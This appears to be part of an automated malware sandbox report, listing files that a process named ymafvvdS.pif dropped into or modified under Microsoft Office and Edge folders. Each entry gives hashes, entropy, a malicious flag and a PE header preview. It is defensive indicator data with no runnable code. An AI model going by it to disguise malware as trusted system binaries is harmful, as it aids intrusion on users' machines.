File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1293824
Entropy (8bit):	5.207352425446388
Encrypted:	false
SSDEEP:	12288:wgd1aFWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:X6IqYdTt/hXV0cfQ9Y4
MD5:	25F4A973057F8FFED81777C26A529198
SHA1:	217A4553BF785904865F452259839634883D3D64
SHA-256:	AE7AD73F1976BD4F5FF6C8AE43F163C621AEDEEE09145C07D5F33A2D7FEBBB30
SHA-512:	BA75A479CAC3CF1A6C5E6D822F99E99C5CC0C283B675EBA13DF5C8B5FBFFD153F1B3BDDAD1C5AC8A01C06A69BEC90736CF5A1F073422BCB0626F5D68900E3303
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^.U.^.U.^.U.&rU.^.U.$.T.^.U.$.T.^.U.$.T.^.U2,.T.^.U2,.T.^.U.^.U.\.U.$.T.^.U.$.T.^.U.$.T.^.U.$.U.^.U.^vU.^.U.$.T.^.URich.^.U........................PE..L......e............... ............&q............@.........................................................................p..,.......`...........................(...8...............................@............................................text............................... ..`.rdata..\|o.......p..................@..@.data....T.......R..................@....c2r....T....p.......L...................rsrc...`............N..............@..@.reloc...p.......`...^..............@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1147904
Entropy (8bit):	5.031426397762276
Encrypted:	false
SSDEEP:	12288:207WZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:IqYdTt/hXV0cfQ9Y4
MD5:	1C82A3A8F7A82CEB70AC7803C28A0CE7
SHA1:	832F879E1546681C9086BCB31205D5AEC373860C
SHA-256:	940119BFD907B43E8DFE077898D37748CD651AB1F35ED03808CEEEA2DF59C9BE
SHA-512:	24300B496D226D7CC1D5C6AC67991B25E29B234B955825BE4AED9CB5ED6D936097008D444E8992CE1122682AC0029AF8A2DB8C32CA850385D87D8F15538814AD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T{..T{..T{..].!.D{..4...P{..4...M{..4...X{..4...Q{.....Q{..T{..0{..1...W{..1...S{..1.M.U{..1...U{..RichT{..........................PE..L....[.d............... ."...(......x........@....@..........................................................................I.......p...............................R..8............................A..@............@..T....H..`....................text...? .......".................. ..`.rdata..(....@.......&..............@..@.data...<....`.......<..............@....rsrc........p.......>..............@..@.reloc...P.......@...D..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1418752
Entropy (8bit):	5.389634412130164
Encrypted:	false
SSDEEP:	12288:/jyposHHrKuZtPvh3FxWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:rAZHHrpZF/8qYdTt/hXV0cfQ9Y4
MD5:	E22B24BE7711C109DCDD4595DEF82950
SHA1:	3B1CA67A49447B273A04AA092496AD2C9296E93C
SHA-256:	51D5DAC9EC7295AF19AFFD435F840984379973D5A6BAB1B04F95DB9CE72AB6CB
SHA-512:	652028B785015A89FD6210F7C8991C8F6465939012FCDE607137EC4657D13DB41EF3C244D9AEF8FCF9F7BDABF33C7BDEBC4799D91540951F1EE8DBDAFD58E0BD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!.e...e...e.......n..............I.......w.......p.......d.......r.......n...e...........{.......d...e.F.d.......d...Riche...........................PE..L....;.d............... .....X......q........0....@.................................. ..........................................x.... ...a..............................8..............................@............0..p.......`....................text............................... ..`.rdata......0......................@..@.data....,..........................@....rsrc....a... ...b..................@..@.reloc...p.......`...F..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	53721600
Entropy (8bit):	6.543154338139482
Encrypted:	false
SSDEEP:	1572864:pNVpTyR96CwKImp81ujlSHFsQ4adtZp20wfP+9HgoZRZa:pQ9lw68HSq
MD5:	C7E29AD009BA52C2A28775EBAE2CA9C6
SHA1:	224295C5516195E92EA723B07A58B8E9620B1848
SHA-256:	ADFD39250D5356A283423ABD26DC81755C67C5165D53EDC1CA2A784FE0109288
SHA-512:	79D8E419DF3E3141362DBA9727438BBB44F99C583A1D4EEE89D6A6B00F9365B74C65F952559B2534B5823F27CA9B6F6CC2D82E68D76F9644796D3ACD7254CC7D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......X.mj.r.9.r.9.r.9...9.r.9\|..8.r.9\|..8;r.9\|..8.r.9\|..8.r.9...8.r.9...8.r.9...8.r.9.r.9Gm.9y..8.r.9y..8.r.9y..8.o.9y..8.r.9y..9.r.9.r.9.r.9y..8.r.9Rich.r.9........PE..L......e..........".... .._.........y........@f...@.......................... 5.......3.................................[.......h......$DW.........................,q..8...................(.q...... `.@.............`.....d........................text...,._......._................. ..`.rdata...bM...`..dM..._.............@..@.data................\..............@....detourc.............p..............@..@.c2r.....................................rsrc...$DW.....FW.................@..@.reloc....$.. ....#.................@...........................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	40811520
Entropy (8bit):	6.461239223220475
Encrypted:	false
SSDEEP:	786432:HbuMdv8TOUI/JgcnYblPv+msZPH53u5LBsk/Q4YbFuceo4h5ay3I5D:HyM8TOtIlPv+msZPH1u5WkID5uceo4qR
MD5:	3F0F3FA244E0C3C10DCE10334996E2FE
SHA1:	1BB5A21FD657BF930C5C27824DC90A02F7505406
SHA-256:	6DC9CBA7AA66895CC0365230156164D4ECC8E75B4201F2A4B7389874B6A863B9
SHA-512:	6B1331927B5424FDAC783570EAC4A3353A3161F3A555FE6F0EE411A37DC60C0C0B3BB3CE51BEDD599D377B3053BFC8A133D06AAF2018FB3C192A1F48A5902B08
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........j............sI.....q......q......q......q.....Jy.....Jy.....Jy.............q......q......q......q......q%.....M.....q.....Rich....................PE..L......e............... ............h.......`....@...........................o.....2.n.............................4...^....P..T....`...]>.............................8........................... 5..@............ ..l............................text...P........................... ..`.rdata..8.;.. ....;.................@..@.data....<.......0..................@....detourc.....0......................@..@.c2r....\|....P...........................rsrc....]>..`...^>.................@..@.reloc...P....S..@...\|S.............@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1657344
Entropy (8bit):	5.628255544284414
Encrypted:	false
SSDEEP:	24576:ml8DMeflpnIOvYUrqYdTt/hXV0cfQ9Y4:mqDD9pnIOFqQTt/hXV0cD
MD5:	FA6E75CF2D36F88FCAED5D8534F49E4D
SHA1:	906C0168CC82F0F129750A48989DB94FD7F79503
SHA-256:	51F5A5BA5C68AB21FFF79E35D8B2F7823348F9D720A4EA4F306D88F0C9B6F771
SHA-512:	88734CAD41ABBABE5D8A4D3CC8A1A1A9CB1AE703F6B260892839D6F7742A7C162A389EB4E1313B6F6E0514213E635F619119C14E690391BFBB610AB17972A8B7
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........J......@!.........@......................................... .............................................................X........F......................T.......................(...P...@...........@...`............................text............................... ..`.rdata..8...........................@..@.data...XL....... ...d..............@....pdata...F.......H..................@..@.00cfg..8.... ......................@..@.gxfg....*...0...,..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc...P.......@..................@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4364800
Entropy (8bit):	6.745571171794416
Encrypted:	false
SSDEEP:	49152:3B1sstqMHiq8kBfK9a+cOVE/TqEpEepdkRqqUu9wg6KFYso8l8EqqQTt/hXV0cD:LHzorVmr2gkRpdJYolQTthF3
MD5:	2F9CB8D5850066045B3D3B4196FABD67
SHA1:	F670442CE414DA3E3006496ED46FC025001AF44A
SHA-256:	10C549E582BF05DDE90C18C6205EFBD886C494F4D1EE8524CC522D1CE1156764
SHA-512:	B522C9AB634F6719AE2FAECA7ED87D47C99004176B7DE7C2C1B00B58A135B89F32BD3D0B91634D753783615D0007A9E343FE5FE306E076720217197105D22800
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......'..".......K.........@.............................PD......B... .....................................................P.... 4.......2..Q..................to..8...................`j..(.....'.@...........0.......`........................text...'.'.......'................. ..`.rdata...A....'..B....'.............@..@.data........./......./.............@....pdata...Q....2..R....0.............@..@.00cfg..0....p3......42.............@..@.gxfg....2....3..4...62.............@..@.retplne......3......j2..................tls..........3......l2.............@...LZMADEC.......3......p2............. ..`_RDATA..\.....4.......2.............@..@malloc_h......4.......2............. ..`.rsrc........ 4.......2.............@..@.reloc... ...0;.......9.............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1238528
Entropy (8bit):	5.138431932912126
Encrypted:	false
SSDEEP:	12288:T3w1uVdSEjaWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4v:TEyT1qYdTt/hXV0cfQ9Y4
MD5:	9E34CAD530E746649D99A4FFE6ED77EE
SHA1:	BAC546E46809CD7F4EE9E97354B6890B8856136B
SHA-256:	BB3849A6FE002E37E935492DEFF9F6F3AD32976AB6B2D3AE42F248A881D54FC2
SHA-512:	ADB8E223DE25DA72D929373C2651B80A7DF9186D02EA8F28474C4A5F3AF8FA9E629153C2C5653D584F1CFD0AD54F9F0DF2CE8545B22FDF0AB41AC310AD77DA36
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."............................@.............................P......+..... ..................................................]..(....................................W..T...............................@............`..X............................text............................... ..`.rdata..,...........................@..@.data...0............j..............@....pdata...............v..............@..@.00cfg..8...........................@..@.gxfg...P...........................@..@.retplne................................_RDATA..\...........................@..@.rsrc...............................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2354176
Entropy (8bit):	7.049967410338301
Encrypted:	false
SSDEEP:	49152:ahDdVrQ95RW0YEHyWQXE/09Val0GKDmg27RnWGj:ahHYW+HyWKVD527BWG
MD5:	6A2E9C13C2A578F9FC128F26D48FC3D7
SHA1:	B437215D27CC238D9F5341E8D7D073F0DAF03867
SHA-256:	841C09112EA918977771E7DA68D4319AB13AF2B99AEFECA99D939D1B47077941
SHA-512:	429F6E4660BE669774EACB46191E088EEA9A612AECEE48851D99B37CDBCD1B1558FC710C3D641558C40EA02DF8037B7A42A1CFC12924EB3C03C3D9E6BB93AA3A
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......2...........b.........@.............................`%.......$... .........................................p%......>).......@..................................8.......................(....c..@........... 0..P............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...4...........................@....pdata..............................@..@.00cfg..0...........................@..@.gxfg............0..................@..@.retplne.................................tls....!...........................@..._RDATA..\.... ......................@..@malloc_h.....0...................... ..`.rsrc........@......................@..@.reloc.......`......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1825280
Entropy (8bit):	7.151966600472169
Encrypted:	false
SSDEEP:	24576:A70E0ZCQZMib6Rrt9RoctGfmdd6qYdTt/hXV0cfQ9Y4:U0EzQS7RPRoc1+qQTt/hXV0cD
MD5:	0DCAD7702A47527130D0F4157CD802C7
SHA1:	9C221AFA171B605EE54343CD2AC47D559E23D634
SHA-256:	E151F1F09814B0A267DDB5770300B9D03646B0E629D0370AA186D329FF0C081C
SHA-512:	C08B9D02A87A3E7A058612C9B570402DAEBD712931E8AF39458646B7A4C474D9707263248043229A9BF9B1A379290ED1BD5849B3079E14C210008654B12CFF05
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........v.......k.........@.............................0......G..... ..........................................u......ly....... ..........,....................d..T...................hc..(.......@...........@... ............................text............................... ..`.rdata.............................@..@.data........@......."..............@....pdata..,...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc........ ......................@..@.reloc.......0......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.138939563176706
Encrypted:	false
SSDEEP:	24576:LiD2VmA1YXiHwlklb8boUuWPg2gBqYdTt/hXV0cfQ9Y4:mD2VmAygwIb8boQKqQTt/hXV0cD
MD5:	3AA07553EF10EC5A6ED1FA0C3E06E634
SHA1:	4A339459C114209A26425769621556D56544BE6E
SHA-256:	25BACB30DA015E1BF544B222B8D1B5E368427B0EF9EFDA537959E9992E63C7B1
SHA-512:	53185D87AB36092011B5E583752FAE33319326E00E8A32D1DAC7E7AFC6C90220334594AE03E2F9F1EA9184E97887AECB5C031BB771133D5AB8256DB9B888E04B
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p............ .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2853376
Entropy (8bit):	6.946185399959636
Encrypted:	false
SSDEEP:	49152:4fD3zO9ZhBGlohzM3HRNr00CqQTt/hXV0cD:SDaalSzM00WTthF3
MD5:	C4B1B5103932EB2D97FC0FEF10AD388A
SHA1:	EB8B1E7DA196F567FFE9BD87DF01E6781B4B6184
SHA-256:	58F24215EB9356C584CC7A7A67E6FAC282E328E45148AB936D12CB2B350F0EE5
SHA-512:	AF675C162B797D9ED0759849BDE050630652A6CE0F2443FEDDA2E920ABA1AF1520EA8F26361C79A77185BF7D61149FAEB00753516A5C0934A495EDA41A2F6642
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......l...2......@..........@..............................-......<,... .................................................h.........!.. ...P ........................8......................(...P...@...............x............................text....k.......l.................. ..`.rdata...............p..............@..@.data...T....p.......^..............@....pdata.......P ......d..............@..@.00cfg..0.... !......* .............@..@.gxfg...P1...0!..2..., .............@..@.retplne.....p!......^ ..................tls..........!......` .............@...LZMADEC.......!......b ............. ..`_RDATA..\.....!......t .............@..@malloc_h......!......v ............. ..`.rsrc.... ....!.."...x .............@..@.reloc........$.......".............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4320256
Entropy (8bit):	6.8216498122615805
Encrypted:	false
SSDEEP:	49152:mTaRe7mkn5KLvD5qGVC008/pb4tgLUgGEsLABD5wTQh07yrLMLl9YPhtqQTt/hXF:5I72Lvkr4pbxJRoIMeTthF3
MD5:	A3C9C84AD26A6A36DA7F87D8DE1BFB18
SHA1:	911B189CB92DEE2457DECCBA64204D867069E1AD
SHA-256:	F3DBFC93B35BE2FAE2E359DEFE4082B148EA4B8542F4C0165DF9F58E23A10F2C
SHA-512:	E10A86AB2953BB3526A731129BD19360B1AFC634B8041F576B5AD9DC50D59C42C2140472DAFDB93A5F885BEE6F74DF5DE6DAA7C61850FC8083E533C1B2AA427A
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......,......... k.........@..............................C....../B... ..........................................'3......+3.P.....8.x....P6..e..................h.2.T.....................2.(...P"-.@............43.......3. ....................text...E.,.......,................. ..`.rdata..4#....-..$....,.............@..@.data........@4.......4.............@....pdata...e...P6..f...45.............@..@.00cfg..0.....7.......6.............@..@.gxfg...@4....7..6....6.............@..@.retplne......8.......6..................tls....-.... 8.......6.............@...CPADinfo8....08.......6.............@...LZMADEC......@8.......6............. ..`_RDATA..\....`8.......6.............@..@malloc_h.....p8.......6............. ..`.rsrc...x.....8.......6.............@..@.reloc... ...p:.......8.............@...........................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2062336
Entropy (8bit):	7.091440517731825
Encrypted:	false
SSDEEP:	24576:zW9Jml9mmijxiMnF+ZxmQWcbLw8VqqYdTt/hXV0cfQ9Y4:zWnm5iAMkjmQWkVqqQTt/hXV0cD
MD5:	F44A836D4CE4288E293AF445FFB30AC5
SHA1:	29244B46BC0DC72A58747FCC7F2CD6A67DFAAABA
SHA-256:	8C1B0EA48AAA16DCE080971B35BE77F513C5C52BE28030D55837AB552C42FCD6
SHA-512:	3BF5408DE55DA1B031AF818D26465D04EFD264321EDC92659C4B18D7530BEA2351C224CE04DA355AE0D28D9770431C4A50253AA63263A7491679263A3DB71193
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......h...4......P..........@.............................. .......... .................................................Z...................H......................8.......................(...`...@...........(...@............................text....g.......h.................. ..`.rdata...).......*...l..............@..@.data...............................@....pdata..H...........................@..@.00cfg..0....P.......H..............@..@.gxfg...p-...`.......J..............@..@.retplne.............x...................tls.................z..............@...CPADinfo8............\|..............@..._RDATA..\............~..............@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.1598008601936955
Encrypted:	false
SSDEEP:	24576:dwNHwoYhua6MZERO4qbBJTY6mY1uIggqYdTt/hXV0cfQ9Y4:dwNPdNO7BJTfmETqQTt/hXV0cD
MD5:	C9C99CC495C962B8044F23938CF6467C
SHA1:	493A6C555DC6784013689A01BE44242B36094F7E
SHA-256:	D2D1ECD9EAEE6DA49DE149C1F7128200CE9BBB42D852184B1C290A23A8027D17
SHA-512:	4465FFDF51B3B305442797C216114AF153A44AB35F38E1791F7B083944235C733CD49458294682B47CBD8E8DB4EB212F6475B1B70B785E5B2E44BABD0631FCDD
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@....................................Oj.... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.138944424817521
Encrypted:	false
SSDEEP:	24576:TiD2VmA1YXiHwlklb8boUuWPg2gBqYdTt/hXV0cfQ9Y4:OD2VmAygwIb8boQKqQTt/hXV0cD
MD5:	2E5EC96CB611C26A6FC78F8AB007BA23
SHA1:	E4AFC3E575A026331C922C51B179796E9EA0F08D
SHA-256:	E8988F5E9F3113BC4D46536254ABF700EBF81A8BB7BD1B1C44B4A1D16FA52840
SHA-512:	83640C94203A2BDB392AEB0B99A51228EEB6225A308F7769E0FEC40E8B7CA131A0D8564E492E066581C8273EFB8DB17B058E4685287508952D01799B763802E7
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p.......Q.... .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.15980380519573
Encrypted:	false
SSDEEP:	24576:KwNHwoYhua6MZERO4qbBJTY6mY1uIggqYdTt/hXV0cfQ9Y4:KwNPdNO7BJTfmETqQTt/hXV0cD
MD5:	B7B8BDCAC6D08E13DCFB07133DE4F565
SHA1:	FC8F374E2BDFBA93399BE90A2573B6FB593D5B9D
SHA-256:	DFC3C352F252759371C6525310F29284FFA10C436A7D5E49F29EACD027CA959A
SHA-512:	5D44125DABBFB10CD48CAA38199390AA86BFA742624A80571030E7004803FB556CDC491FE05B7598B487695E720A7D7CF0C4FDA0BD5F5B72B371598CC77D8BA5
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@....................................y'.... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1325568
Entropy (8bit):	5.133694455183824
Encrypted:	false
SSDEEP:	12288:4ALlbRfky6B+mC7WZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:4ylbht6BHvqYdTt/hXV0cfQ9Y4
MD5:	0004EFB4514028CB9E43867F3A4D275A
SHA1:	55391C55B4D1F92B83F19D03113DDE81EEB27FE9
SHA-256:	0A8BB0282083F31849E6AC8A2F651A64E00B3CBCDFF60DA78C98CE558CB8CC96
SHA-512:	1459A4B7400A55A2B3BC9C27A860BB59F66466E547BC0FB4ED31B1721B61CA872DD2C26AA043A0B6D031918C4D332B54A7C113B3186A1E907B872DF45A26B6B5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.y.+c..+c..+c..?...!c..?....c..?...9c..I...:c..I...8c..I....c..?...c..?....c..+c..Xc......)c.....c..+c..\|c......*c..Rich+c..........................PE..L...B(.d.................^..........@........p....@.................................p.......................................H...<........q..........................pu..p...........................X...@...............@....k..`....................text...`\.......^.................. ..`.data........p.......b..............@....idata...............l..............@..@.didat...............v..............@....rsrc....q.......r...x..............@..@.reloc...`...0...P..................@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1221120
Entropy (8bit):	5.130117383941093
Encrypted:	false
SSDEEP:	12288:ZIkOkTB+w8WZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:ZIxkTBVTqYdTt/hXV0cfQ9Y4
MD5:	03FE885B9A8C7E4C39E99AEACA78CAB1
SHA1:	72CF1E67A1706BC96D68C87FBBAB427023918808
SHA-256:	C870ED07388E36BED619ECD6FA430236D0C5C4E651F59B90ACEF6DB46502385E
SHA-512:	4B48B1A9066D4F930C577C7FADC65D679019AA9192A73734CFF7FBA9845AB3AAC3860F2F00418A759D9043DB0BB6DBCB0E0D140508B8FB4AB7DFEB072F5570D9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...8(.d..........................................@.................................o.......................................x...(....`..X3..............................p...............................@.......................@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...`.......P...R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335296
Entropy (8bit):	5.229032573509208
Encrypted:	false
SSDEEP:	12288:24lssmroCVWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y45:2cssmrmqYdTt/hXV0cfQ9Y4
MD5:	FF60FE5EFAD9913EA0302DD6EE06494C
SHA1:	F6F1F80C0155673E7E41FB1251CDE65D58E3F5D4
SHA-256:	6B6869FF015682381491E634D9BF2E66B80B35F65ED59BFE108AF1962C29C7EE
SHA-512:	C3A5F2FB3FDEA69303E85A8C8A71D788F1F1365852B01236EA6FCF4F0A57A5CFD5C342BB2C718A5033D06CA27C8C0489C4D893072D10FE382D31669564E08FD2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............O.@.O.@.O.@.$.A.O.@.$.A\|O.@.7.A.O.@.7.A.O.@.7.A.O.@W6.A.O.@.$.A.O.@.$.A.O.@.$.A.O.@.O.@IN.@W6.A.O.@W6.@.O.@W6.A.O.@Rich.O.@........PE..d...@(.d.........."......n...........].........@.......................................... .....................................................(............@..........................p.......................(...p,..@...............0............................text....l.......n.................. ..`.rdata..8z.......\|...r..............@..@.data...P3..........................@....pdata.......@......................@..@.didat.......`......................@..._RDATA.......p......................@..@.rsrc...............................@..@.reloc...P.......@... ..............@...........................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	5.330860311171296
Encrypted:	false
SSDEEP:	24576:i7fcT++foSBWU2YxhkgNqYdTt/hXV0cfQ9Y4:6fcK+foQWU2YnPNqQTt/hXV0cD
MD5:	585644551DBD80092E9548718B8AF1C6
SHA1:	079689FA3450FDFB65C85FD0E78BAD98F2E63EA5
SHA-256:	3CB9CDA67EDFB5404690BD29D6CE50926E86FBCE5865CE6784C63C9789C2185C
SHA-512:	CD2C1027350946882EED0CA5BC80983E2E3DD772E530A93526C6ED5BFFD1D9BED23EB06371B3C30B6ABC3ACF2185D98F6FA00E4CC0B8F24B175AB58801F45D17
Malicious:	true
Reputation:	unknown
